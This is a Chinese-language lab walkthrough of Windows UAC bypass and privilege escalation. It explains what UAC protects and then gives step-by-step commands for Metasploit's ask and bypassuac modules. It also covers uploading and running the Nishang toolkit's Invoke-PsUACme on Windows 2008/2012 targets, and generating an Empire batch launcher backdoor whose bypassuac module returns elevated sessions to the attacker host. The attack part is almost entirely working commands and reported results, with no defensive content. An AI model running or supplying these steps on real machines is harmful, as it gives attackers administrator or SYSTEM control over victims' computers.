UAC简介

用户帐户控制(User Account Control,简写作UAC)
是微软公司为了提高系统安全性从Windows Vista版本操作系统开始采用的一种控制机制。

目录

当进行如下操作时需要经过UAC认证

  • 配置Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其它用户的文件夹

所以,病毒木马想要实现高权限操作,就不得不绕过UAC弹窗,在没有通知用户情况下, 悄悄地将普通权限,提升为管理员权限启动进程,从而使程序得到高权限的操作。

UAC分为以下级别

  • 始终通知
  • 仅在程序试图更改我的计算机时通知我(默认)
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度)
  • 从不提示
UAC级别
UAC在提示时会弹出如下对话框

ask绕过UAC提权(RunAs)复现

实验环境

攻击机kali2023,靶机win10(关闭实时保护)
kali2023获取win10的meterpreter界面

复现

使用 getuid 查看当前权限

尝试使用 getsystem 因为UAC所以提权失败
使用 background 挂起会话,session id为3

使用msf ask模块 use exploit/windows/local/ask,设置提权程序名 set filename abc.exe,设置session会话 set session 3,设置本地端口 set lhost 192.168.31.13,设置本地地址 set lport 6666,使用 run 运行此模块

模块利用
运行成功后对方设备会弹出UAC界面
对方通过UAC验证,提权程序运行成功

运行成功后会返回一个新会话,使用 getuid 查看当前权限,使用 getsystem 提权,使用 getuid 查看当前权限,成功提权

成功提权

bypassuac绕过UAC提权

实验环境

攻击机kali2023,靶机win7(须win10以下系统)
此时win7中admin为管理员权限
UAC为仅在程序试图更改我的计算机时通知我(默认)

复现

使用msf bypassuac模块 use exploit/windows/local/bypassuac
设置session会话 set session 1
设置本地端口 set lhost 192.168.31.13
设置本地地址 set lport 6666
使用 run 运行此模块
返回一个会话
使用 getsystem 成功提权

成功提权

Nishang工具利用

下载地址:
https://github.com/samratashok/nishang

先说结论,在windows2012的利用失败,在windows2008可以成功

通过kali的msf上传到windows2012
上传之后发现win2012并没有tar命令解压

直接在kali解压后挨个文件夹上传
mkdir ./nishang
upload /root/桌面/nishang-master ./nishang
mkdir ./nishang/ActiveDirectory
upload /root/桌面/nishang-master/ActiveDirectory ./nishang/ActiveDirectory
mkdir ./nishang/Antak-WebShell
upload /root/桌面/nishang-master/Antak-WebShell ./nishang/Antak-WebShell
mkdir ./nishang/Backdoors
upload /root/桌面/nishang-master/Backdoors ./nishang/Backdoors
mkdir ./nishang/Bypass
upload /root/桌面/nishang-master/Bypass ./nishang/Bypass
mkdir ./nishang/Client
upload /root/桌面/nishang-master/Client ./nishang/Client
mkdir ./nishang/Escalation
upload /root/桌面/nishang-master/Escalation ./nishang/Escalation
mkdir ./nishang/Execution
upload /root/桌面/nishang-master/Execution ./nishang/Execution
mkdir ./nishang/Gather
upload /root/桌面/nishang-master/Gather ./nishang/Gather
mkdir ./nishang/Misc
upload /root/桌面/nishang-master/Misc ./nishang/Misc
mkdir ./nishang/MITM
upload /root/桌面/nishang-master/MITM ./nishang/MITM
mkdir ./nishang/Pivot
upload /root/桌面/nishang-master/Pivot ./nishang/Pivot
mkdir ./nishang/powerpreter
upload /root/桌面/nishang-master/powerpreter ./nishang/powerpreter
mkdir ./nishang/Prasadhak
upload /root/桌面/nishang-master/Prasadhak ./nishang/Prasadhak
mkdir ./nishang/Scan
upload /root/桌面/nishang-master/Scan ./nishang/Scan
mkdir ./nishang/Shells
upload /root/桌面/nishang-master/Shells ./nishang/Shells
mkdir ./nishang/Utility
upload /root/桌面/nishang-master/Utility ./nishang/Utility

load powershell 加载powershell
powershell_execute Import-Module ./nishang/nishang.psm1 加载nishang
powershell_execute Get-Command -Module nishang 查看nishang命令

在目标主机使用nishang

powershell_execute Invoke-PsUACme -Verbose 执行Invoke-PsUACme模块

报错,反弹失败

直接去到win2012执行,弹出UAC
在使用管理员密码后弹出管理员权限powershell
所以UAC并未绕过

win2012利用失败

更换靶机系统版本为win2008
重复之前步骤

尝试执行nishang命令

执行nishang提权
成功弹出管理员权限窗口,没有UAC拦截

成功绕过UAC

empire的bypassuac模块

kali开启empire
powershell-empire server
powershell-empire client

kali开启empire

usestager windows_launcher_bat 设置windows后门
set Listener new1 设置监听器
execute 执行生成
agents 查看会话
interact wind2012 进入会话

获取win2012会话

usemodule powershell_privesc_bypassuac

使用bypassuac模块

set Listener new1
execute

设置监听器并运行
等待高权限会话返回